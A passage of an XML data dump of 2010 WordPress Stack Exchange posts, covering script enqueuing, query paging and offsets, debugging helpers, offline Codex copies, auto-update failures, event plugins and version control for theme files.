make sure you execute this check at the last possible moment.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-08-12T14:05:03.233" CommentCount="2" />
  <row Id="209" PostTypeId="2" ParentId="206" CreationDate="2010-08-12T14:05:07.260" Score="6" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;wp_script_is()&lt;/code&gt; to check if a script is in the queue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_my_scripts() {&#xA;    $doing_jquery = wp_script_is('jquery', 'queue');&#xA;    $doing_prototype = wp_script_is('prototype', 'queue');&#xA;&#xA;    var_dump($doing_jquery, $doing_prototype);&#xA;}&#xA;add_action('wp_print_scripts', 'add_my_scripts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2010-08-12T14:42:20.540" LastActivityDate="2010-08-12T14:42:20.540" CommentCount="4" />
  <row Id="210" PostTypeId="2" ParentId="194" CreationDate="2010-08-12T14:26:49.610" Score="1" ViewCount="" Body="&lt;p&gt;I'm assuming you're running Wordpress 3.0.x?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show only one post (in whichever category) on the front page is easy. Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;query_posts('post_per_page=1')&lt;/code&gt;&lt;/a&gt; in your &lt;code&gt;home.php&lt;/code&gt; file instead of invoking &lt;code&gt;get_template_part('loop')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To follow the normal paging methods after that is a little tricky. In your &lt;code&gt;loop.php&lt;/code&gt; file, I suggest putting &lt;code&gt;&amp;lt;?php global $paged; ?&amp;gt;&lt;/code&gt; before the &lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&lt;/code&gt; statement, and using the &lt;code&gt;$paged&lt;/code&gt; variable and &lt;code&gt;query_posts()&lt;/code&gt; function to modify your query so it shows the right posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;loop.php&lt;/code&gt; file would look something like this (note: not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $paged;&#xA;&#xA;if (!is_front_page() &amp;amp;&amp;amp; $paged &amp;amp;&amp;amp; $post-&amp;gt;post_type == 'post') :&#xA;    query_posts('posts_per_page=10&amp;amp;paged=' . ($paged - 1));&#xA;    if (have_posts()) :&#xA;        while (have_posts()) : the_post();&#xA;        // Rest of the loop&#xA;        endwhile;&#xA;    endif;&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;$paged - 1&lt;/code&gt; simply because page 2 will show posts 1 - 10, and page 3 will show posts 11 - 20, and so on.&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="143" LastEditorDisplayName="" LastEditDate="2010-08-12T14:41:26.517" LastActivityDate="2010-08-12T14:41:26.517" CommentCount="4" />
  <row Id="211" PostTypeId="1" CreationDate="2010-08-12T14:39:20.143" Score="5" ViewCount="276" Body="&lt;p&gt;Sometimes I want to develop WordPress themes when I have no internet connection. I need the &lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/&quot; rel=&quot;nofollow&quot;&gt;Function Reference&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;Template Tags&lt;/a&gt;&lt;/strong&gt; to be productive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for a downloadable or SVN copy of the &lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;&lt;/strong&gt; but could not find one. I ended up trying to mirror it using &lt;code&gt;wget&lt;/code&gt;, but the results were spotty (it's too huge!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-12T19:37:44.313" Title="Local copy of WordPress Codex?" Tags="&lt;documentation&gt;" AnswerCount="4" />
  <row Id="212" PostTypeId="2" ParentId="145" CreationDate="2010-08-12T15:04:09.163" Score="2" ViewCount="" Body="&lt;p&gt;I debug the old fashioned way, &lt;code&gt;error_log()&lt;/code&gt;ing and &lt;code&gt;var_dump&lt;/code&gt;ing. I find that is the most efficient way for me, I have a couple of wrapper functions to handle different types of data, as &lt;code&gt;error_log&lt;/code&gt;ing arrays and objects can be a pain. Also, using &lt;code&gt;print_r()&lt;/code&gt; in can be tricky to read when it is not in a &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt;. I have &lt;code&gt;tj_log()&lt;/code&gt; for error logging, and &lt;code&gt;tj()&lt;/code&gt; for showing output (which basically shows any data type in a presentable mannor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tj( $code ) {&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;style&amp;gt;&#xA;        .tj_debug { word-wrap: break-word; white-space: pre; text-align: left; position: relative; background-color: rgba(0, 0, 0, 0.8); font-size: 11px; color: #a1a1a1; margin: 10px; padding: 10px; margin: 0 auto; width: 80%; overflow: auto; -moz-box-shadow:0 10px 40px rgba(0, 0, 0, 0.75); -webkit-box-shadow:0 10px 40px rgba(0, 0, 0, 0.75); -moz-border-radius: 5px; -webkit-border-radius: 5px; text-shadow: none; }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;br /&amp;gt;&amp;lt;pre class=&quot;tj_debug&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    if ( is_null( $code ) || is_string($code) || is_int( $code ) || is_bool($code) || is_float( $code ) ) :&#xA;        var_dump( $code );&#xA;&#xA;    else :&#xA;        print_r( $code );&#xA;&#xA;    endif;&#xA;&#xA;    echo '&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;';&#xA;&#xA;}&#xA;&#xA;function tj_log( $code ) {&#xA;&#xA;    if ( is_null( $code ) || is_string($code) || is_int( $code ) || is_bool($code) || is_float( $code ) ) :&#xA;        $code = var_export( $code, true );&#xA;&#xA;    else :&#xA;        $code = print_r( $code, true );&#xA;&#xA;    endif;&#xA;&#xA;    error_log( $code );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So then I just do: &lt;code&gt;tj( $current_user );&lt;/code&gt; or whatever.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-12T15:04:09.163" />
  <row Id="213" PostTypeId="2" ParentId="211" CreationDate="2010-08-12T15:06:29.797" Score="3" ViewCount="" Body="&lt;p&gt;I did this for myself using HTTrack (http://www.httrack.com/).  It wound up being a handful of megabytes (not sure of the exact number now, I lost my local copy to a hard drive failure, and haven't bothered to rebuild it yet), but it worked pretty well.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-12T15:06:29.797" CommentCount="3" />
  <row Id="214" PostTypeId="1" AcceptedAnswerId="347" CreationDate="2010-08-12T15:11:00.533" Score="1" ViewCount="938" Body="&lt;p&gt;My wordpress now is at version 2.7. I want to upgrade it to 3.0.1 using Auto update function. I'm using FTPS connection type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upgrade should be straight forward, however, I keep on encountering this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Installation Failed&#xA;  Downloading update from&#xA;  &lt;a href=&quot;http://wordpress.org/wordpress-3.0.1.zip&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/wordpress-3.0.1.zip&lt;/a&gt;…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unpacking the update…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Verifying the unpacked files…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Installing the latest version…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Could not copy file.:&#xA;  /wp-admin/css/theme-editor.dev.css&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Installation Failed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've checked the permission for the &lt;code&gt;/wp-admin/css&lt;/code&gt; folder, and it's set to 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem? I've searched the internet, but it seems that &lt;a href=&quot;http://wordpress.org/support/topic/upgrade-gone-worng-pls-help&quot; rel=&quot;nofollow&quot;&gt;a lot of people&lt;/a&gt; &lt;a href=&quot;http://warezkeygen.net/could-not-copy-file-public_htmlwp-admincsstheme-editor-dev-css/&quot; rel=&quot;nofollow&quot;&gt;has the same problem&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2011-03-07T03:19:22.097" Title="WordPress 3.0.1 Auto Update Problem" Tags="&lt;auto-update&gt;" AnswerCount="6" CommentCount="1" FavoriteCount="2" />
  <row Id="215" PostTypeId="2" ParentId="207" CreationDate="2010-08-12T15:21:15.920" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure if it hits all of your requirements, but the &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-events-registration/&quot; rel=&quot;nofollow&quot;&gt;Advanced Events Registration&lt;/a&gt; plugin looks pretty promising.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-12T15:21:15.920" />
  <row Id="216" PostTypeId="2" ParentId="119" CreationDate="2010-08-12T15:21:39.197" Score="1" ViewCount="" Body="&lt;p&gt;Normally I login to phpMyadmin upload the database and edit the contents of wp_options&gt;siteurl  and wp_options&gt;home to the expected domain. If you need to update URLs within your posts and pages content you can do a search/replace for the URL and the media/uploads path on the .SQL file prior to uploading. It's a quick job.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2010-08-12T15:21:39.197" />
  <row Id="217" PostTypeId="2" ParentId="211" CreationDate="2010-08-12T15:30:12.277" Score="2" ViewCount="" Body="&lt;p&gt;There's a pdf of the March 2009 function reference and another of the same time's template tags here: &lt;a href=&quot;http://blog.modscape.com/2009/03/03/wordpress-function-reference-in-pdf-format/&quot; rel=&quot;nofollow&quot;&gt;http://blog.modscape.com/2009/03/03/wordpress-function-reference-in-pdf-format/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-12T15:30:12.277" CommentCount="1" />
  <row Id="218" PostTypeId="1" AcceptedAnswerId="227" CreationDate="2010-08-12T15:30:22.900" Score="18" ViewCount="644" Body="&lt;p&gt;I realize this may be a broad question on the surface, but I'm looking for specific examples of setups/workflows that people use to keep a version history of edited files on a WordPress site. For instance, when developing a site (and even after it's live), I often make changes to CSS and PHP files, but I don't have a great way of reverting to older versions of those files.  For my purposes, making changes on a local development installation and then copying those changes over to the live site is often more trouble than I'd like.  Any suggestions on how to get started using a versioning tool to track edits to files on a live site?&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T05:08:18.230" LastActivityDate="2011-02-11T04:59:14.967" Title="Getting Started with Subversion, Git, or similar Version Control System to keep a History of my Files?" Tags="&lt;subversion&gt;&lt;git&gt;&lt;version-control&gt;" AnswerCount="7" CommentCount="2" FavoriteCount="14" />
  <row Id="219" PostTypeId="1" AcceptedAnswerId="232" CreationDate="2010-08-12T15:32:16.380" Score="2" ViewCount="156" Body="&lt;p&gt;what the best way to include images from the template's images folder? is it by using &lt;code&gt;get_bloginfo('template_url')&lt;/code&gt;? I understood that its better to hard code the path to the images folder since this way you save function calls in PHP..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-12T23:06:00.330" LastActivityDate="2010-08-24T14:58:36.923" Title="what the best way to include images from the template's images folder?" Tags="&lt;themes&gt;&lt;images&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="220" PostTypeId="2" ParentId="119" CreationDate="2010-08-12T15:32:29.063" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wpengine.com/&quot; rel=&quot;nofollow&quot;&gt;WP Engine&lt;/a&gt; is a new service that offers &quot;One-Click Staging&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WPEngine has an exclusive feature called “staging.” Here’s how it works: Before you make a scary change to your blog, click the “snapshot” button. We make a complete copy of your blog and set it up in a separate, safe area. You can play with anything you want; nothing’s live. Only when you’re ready to make it live do you touch your main site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Looks like a very easy way to quickly move from development to production, especially with an already live site.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-12T15:32:29.063" CommentCount="2" />
  <row Id="221" PostTypeId="2" ParentId="207" CreationDate="2010-08-12T15:34:16.550" Score="2" ViewCount="" Body="&lt;p&gt;This one is the best I know of:  &lt;a href=&quot;http://wordpress.org/extend/plugins/event-calendar-scheduler/&quot; rel=&quot;nofollow&quot;&gt;Event Calendar / Scheduler&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main features include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Day/Week/Month/Year/Agenda view + ability to create custom view&lt;/li&gt;&#xA;&lt;li&gt;Drag-n-drop support to configure event date and time&lt;/li&gt;&#xA;&lt;li&gt;Customizable appearance&lt;/li&gt;&#xA;&lt;li&gt;Single/multi-days events (daily, weekly, monthly or yearly basis)&lt;/li&gt;&#xA;&lt;li&gt;Customizable time scale&lt;/li&gt;&#xA;&lt;li&gt;Recurring events&lt;/li&gt;&#xA;&lt;li&gt;Multilingual&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-08-12T15:34:16.550" CommentCount="1" />
  <row Id="222" PostTypeId="1" AcceptedAnswerId="226" CreationDate="2010-08-12T15:34:34.897" Score="17" ViewCount="547" Body="&lt;p&gt;Most people are aware that minimizing the number of plugins used is a good way to help keep a WordPress site running fast.  However, does that general rule include deactivated plugins?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-12T16:08:10.647" Title="Do deactivated plugins slow down a WordPress site?" Tags="&lt;plugins&gt;&lt;performance&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="223" PostTypeId="2" ParentId="175" CreationDate="2010-08-12T15:36:35.943" Score="0" ViewCount="" Body="&lt;p&gt;If all you are wanting to do is add an extra date for 'show times', it may be easier to add a meta box which does exactly that - using the Publish date to spoof it could be potentially problematic, as WordPress will set it to &quot;future&quot; status whenever it is updated with a future publish date (I think), so you will have to be hooking every time a post is updated to set it back again. Also, that way you could reserve &quot;Publish Date&quot; for what it is intended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would probably just use a &lt;code&gt;meta_key&lt;/code&gt;, and a custom meta box. Though it depends how complex your queries are that show the posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set the meta_value as a timestamp, you can order by the show time date still, or select before / after a certain date:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$events = get_posts( 'post_type=events&amp;amp;meta_key=show_time&amp;amp;meta_value=' . strtotime( '+1 week' ) . '&amp;amp;meta_compare=&amp;lt;&amp;amp;orderby=meta_value' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would get all &quot;events&quot; with a showtime no later then a week from the current date. Note: The above is untested, but &lt;em&gt;should&lt;/em&gt; work :)&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-12T15:36:35.943" CommentCount="3" />
  <row Id="224" PostTypeId="2" ParentId="207" CreationDate="2010-08-12T15:38:23.603" Score="1" ViewCount="" Body="&lt;p&gt;I'd check out &lt;a href=&quot;http://shoultes.net/wordpress-events-registration-with-paypal-ipn/&quot; rel=&quot;nofollow&quot;&gt;http://shoultes.net/wordpress-events-registration-with-paypal-ipn/&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/event-registration/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/event-registration/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-12T15:38:23.603" />
  <row Id="225" PostTypeId="2" ParentId="219" CreationDate="2010-08-12T15:39:03.620" Score="0" ViewCount="" Body="&lt;p&gt;Well, it depends what kind of development you're doing. If you're doing plugin development, you need to use the functions because you'll never know for sure what the url structure will be. If you're doing specific work on a specific website, it's technically ok to hard code it, but that is still inadvisable, since it precludes the possibility that the url structure could ever change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I develop plugins or themes, I structure the program in a class; that way, I can save repetitive values as properties of the object (e.g., WP URL and template_url). That way I can use them quickly without calling the functions repeatedly.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-12T15:39:03.620" CommentCount="1" />
  <row Id="226" PostTypeId="2" ParentId="222" CreationDate="2010-08-12T15:40:53.700" Score="20" ViewCount="" Body="&lt;p&gt;No it doesn't. At least, not on the front end, or in the back end in any non-plugin area. WordPress only loads files whose filepaths are stored in the active_plugins option in the database and ignores everything else completely.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-12T15:40:53.700" />
  <row Id="227" PostTypeId="2" ParentId="218" CreationDate="2010-08-12T15:43:05.913" Score="10" ViewCount="" Body="&lt;p&gt;I am not sure how much you know about using version control, but I recently switched from SVN to GIT and find that to be great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it depends in you live site's server has GIT installed (or will let you). I have a GIT setup on the live server also, running of a branch called something like &lt;code&gt;production&lt;/code&gt;. Whenever I finish implementing / fixing something locally, I merge it into the &lt;code&gt;production&lt;/code&gt; branch, then SSH into the live site's server and pull in the changes. Beats dragging files over FTP when you never know if you are overwriting changes etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend putting some time it getting aquatinted with GIT (if you haven't already), I find it much easier and less hassle than SVN when it comes to changing / adding loads of files (and unlike SVN it doesn't put stupid &lt;code&gt;.svn&lt;/code&gt; folder &lt;em&gt;everywhere&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, I am on a Mac, so sorry if none of these applies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Editor: &lt;a href=&quot;http://www.panic.com/coda/&quot; rel=&quot;nofollow&quot;&gt;Coda&lt;/a&gt;&#xA;Installed GIT through Ports (using Porticus)&#xA;Git: &lt;a href=&quot;http://github.com/brotherbard/gitx/downloads&quot; rel=&quot;nofollow&quot;&gt;GitX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to set everything up a new, I would do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install &lt;a href=&quot;http://www.panic.com/coda/&quot; rel=&quot;nofollow&quot;&gt;Coda&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install &lt;a href=&quot;http://porticus.alittledrop.com/download.html&quot; rel=&quot;nofollow&quot;&gt;Porticus&lt;/a&gt; (which will require you to install Ports, but there is information on that page)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you have installed Porticus, open it open, search for &quot;git-core&quot; and Install that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download and Install &lt;a href=&quot;http://github.com/brotherbard/gitx/downloads&quot; rel=&quot;nofollow&quot;&gt;GitX 7-5&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is a good guide on setting up a git repo &lt;a href=&quot;http://toolmantim.com/thoughts/setting_up_a_new_remote_git_repository&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but at it's basic: 1. Open Terminal. 2. &lt;code&gt;cd&lt;/code&gt; to where you want your site to reside. &lt;code&gt;$: mkdir mysite &amp;amp;&amp;amp; cd mysite&lt;/code&gt; 3. &lt;code&gt;$: git init&lt;/code&gt; and thats it! If you add files to this folder then continue to the next step&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you have set up a GIT repository locally (above article) then if you open that directory in GitX you will be able to commit stuff etc etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Setting it all up on the server can be a bit tricky, I have a MediaTemple and a Dreamhost account which both have GIT out of the box. The link in 5. tells you how to add a remote repo, do you dont have to do that until you want to bring your live site into the equation. I would recommend getting everything working locally first (unlike SVN, GIT doesn't require a remote repository, so you can bo everything on your machine for the time being)&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditorDisplayName="" LastEditDate="2010-08-12T16:08:27.277" LastActivityDate="2010-08-12T16:08:27.277" CommentCount="5" />
  <row Id="228" PostTypeId="2" ParentId="218" CreationDate="2010-08-12T15:46:48.207" Score="2" ViewCount="" Body="&lt;p&gt;I like &lt;a href=&quot;http://www.aptana.com/&quot; rel=&quot;nofollow&quot;&gt;Aptana&lt;/a&gt; a lot, its has subversion integrated in and you can connect to your server with ftp/sftp easily and push files up, another great feature that it has is that if you create a new php project and include the &quot;entire&quot; WordPress folder (with wp-admin, wp-includes) you get code completion in your theme files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my setup the repo is local.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-08-12T15:46:48.207" CommentCount="4" />
  <row Id="229" PostTypeId="2" ParentId="23" CreationDate="2010-08-12T15:51:19.937" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;wp_nav_menu&lt;/a&gt; function gives you the ability to modify the ID and Class for both the container and the menu. But not the LI elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take a look at the &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/nav-menu-template.php&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; where it is building the LI elements ( start_el() function); You can see it is using the filter nav_menu_css_class; The filter will take the array you give it (of strings) and use it to build out the class tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: From what I see in the code, if you pass it an empty array. Wordpress will still include the class attribute for the LI element, it will just be empty.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-12T15:51:19.937" />
  <row Id="230" PostTypeId="2" ParentId="219" CreationDate="2010-08-12T15:53:18.877" Score="5" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I understood that its better to hard&#xA;  code the path to the images folder&#xA;  since this way you save function calls&#xA;  in PHP..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I definitely wouldn't worry about function calls, WordPress' object cache will handle cache all that stuff for you. You could define the path as a constant if you wanted, but I generally wouldn't bother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('stylesheet_directory')&quot;?&amp;gt;/images/image.png&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-08-12T15:53:18.877" />
  <row Id="231" PostTypeId="2" ParentId="186" CreationDate="2010-08-12T15:57:45.880" Score="5" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; You should never make changes to the WordPress core files, instead, write a plugin to do it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; If you have only minor to moderate theme customizations, you can use a child theme, thus leaving the core files alone. Alternatively, rename the theme folder so that your changes aren't wiped out by the update.&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2010-08-12T15:57:45.880" CommentCount="3" />
  <row Id="232" PostTypeId="2" ParentId="219" CreationDate="2010-08-12T15:58:08.140" Score="3" ViewCount="" Body="&lt;p&gt;The easiest and simplest way to do it is define a unique variable in your theme's &lt;code&gt;functions.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$theme_name_images = get_bloginfo('stylesheet_directory') . '/images/';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No need for classes as a previous answer suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It should be get_bloginfo, instead of bloginfo(), as Viper007Bond kindly pointed out.&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="143" LastEditorDisplayName="" LastEditDate="2010-08-12T22:43:49.723" LastActivityDate="2010-08-12T22:43:49.723" CommentCount="5" />
  <row Id="233" PostTypeId="2" ParentId="2" CreationDate="2010-08-12T16:06:39.600" Score="0" ViewCount="" Body="&lt;p&gt;In order o have a truly arbitrary sorting order (completely unrelated to any post field), you'd need to create a &quot;sort value&quot; (or &quot;weight&quot;) field and enter a numeric value for each item in that field. You can then sort on that field.&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2010-08-12T16:06:39.600" />
  <row Id="234" PostTypeId="2" ParentId="222" CreationDate="2010-08-12T16:08:10.647" Score="7" ViewCount="" Body="&lt;p&gt;Except in unusual cases having deactivated plugins only affects the performance of the plugin page in the admin, and only then a trivial amount (unless you have hundreds of plugins.) During the plugin admin page load WordPress scans all the plugins and then stores the list of active plugins in the database. Then on all other page loads WordPress inspects that list of plugins, not the plugins themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one caveat to this is if the deactivated plugin stored a lot of &lt;em&gt;autoload&lt;/em&gt; data in the &lt;code&gt;wp_options&lt;/code&gt; table and deactivating doesn't remove that data because doing so could cause a user to loose configuration options when they deactivate which they may want to do only for a few minutes which is a common approach taken when someone is debugging a problem with a site. However, if you are using a plugin that add so many options during autoload that it causes a problem them it's not a great plugin anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do run into such a plugin and need to get rid of the options then &lt;a href=&quot;http://wordpress.stackexchange.com/questions/43/how-can-i-delete-orphan-keys-in-wordpress-database-tables#answer-177&quot;&gt;this&lt;/a&gt; might help.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T16:08:10.647" />
  <row Id="235" PostTypeId="2" ParentId="214" CreationDate="2010-08-12T16:14:45.053" Score="0" ViewCount="" Body="&lt;p&gt;Check the permissions on the file referenced. In this case: &lt;code&gt;/wp-admin/css/theme-editor.dev.css&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-12T16:14:45.053" CommentCount="1" />
  <row Id="236" PostTypeId="2" ParentId="23" CreationDate="2010-08-12T16:15:49.657" Score="0" ViewCount="" Body="&lt;p&gt;@Ray Gulick: I hate to dive in but I concur with @Dan Gale, @EAMann and @Insanity5902. The &quot;bloat&quot; doesn't cause any tanbgible problems and enables a designer to theme the menu in a lot of flexible ways. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious why the &quot;bloat&quot; bothers you? I know it's not pretty but next to nobody will ever see it. If its a performance concern that are hundreds of &lt;a href=&quot;http://developer.yahoo.com/performance/rules.html&quot; rel=&quot;nofollow&quot;&gt;other things to address first&lt;/a&gt; such as reducing HTTP requests and shaving the sizes of your images the latter of which will probably have an order of magnitude more benefit.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T16:15:49.657" CommentCount="4" />
  <row Id="237" PostTypeId="2" ParentId="194" CreationDate="2010-08-12T16:17:07.703" Score="4" ViewCount="" Body="&lt;p&gt;I solved it using &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/query.php#L2327&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;offset&lt;/code&gt; query parameter&lt;/a&gt;. This allowed me to edit the query in the &lt;code&gt;pre_get_posts&lt;/code&gt; hook, and seems to be the cleanest way to do this, without a new query. Now the home page shows only one post, and &lt;code&gt;page/2/&lt;/code&gt; shows posts 2-11. All links keep working, no other modification is required.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'set_offset_on_front_page');&#xA;function _set_offset_on_front_page(&amp;amp;$query)&#xA;{&#xA;    if (is_front_page() &amp;amp;&amp;amp; is_paged()) {&#xA;            $posts_per_page = isset($query-&amp;gt;query_vars['posts_per_page']) ? $query-&amp;gt;query_vars['posts_per_page'] : get_option('posts_per_page');&#xA;            // If you want to use 'offset', set it to something that passes empty()&#xA;            // 0 will not work, but adding 0.1 does (it gets normalized via absint())&#xA;            // I use + 1, so it ignores the first post that is already on the front page&#xA;            $query-&amp;gt;query_vars['offset'] = (($query-&amp;gt;query_vars['paged'] - 2) * $posts_per_page) + 1;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-08-12T18:21:23.860" LastActivityDate="2010-08-12T18:21:23.860" CommentCount="2" />
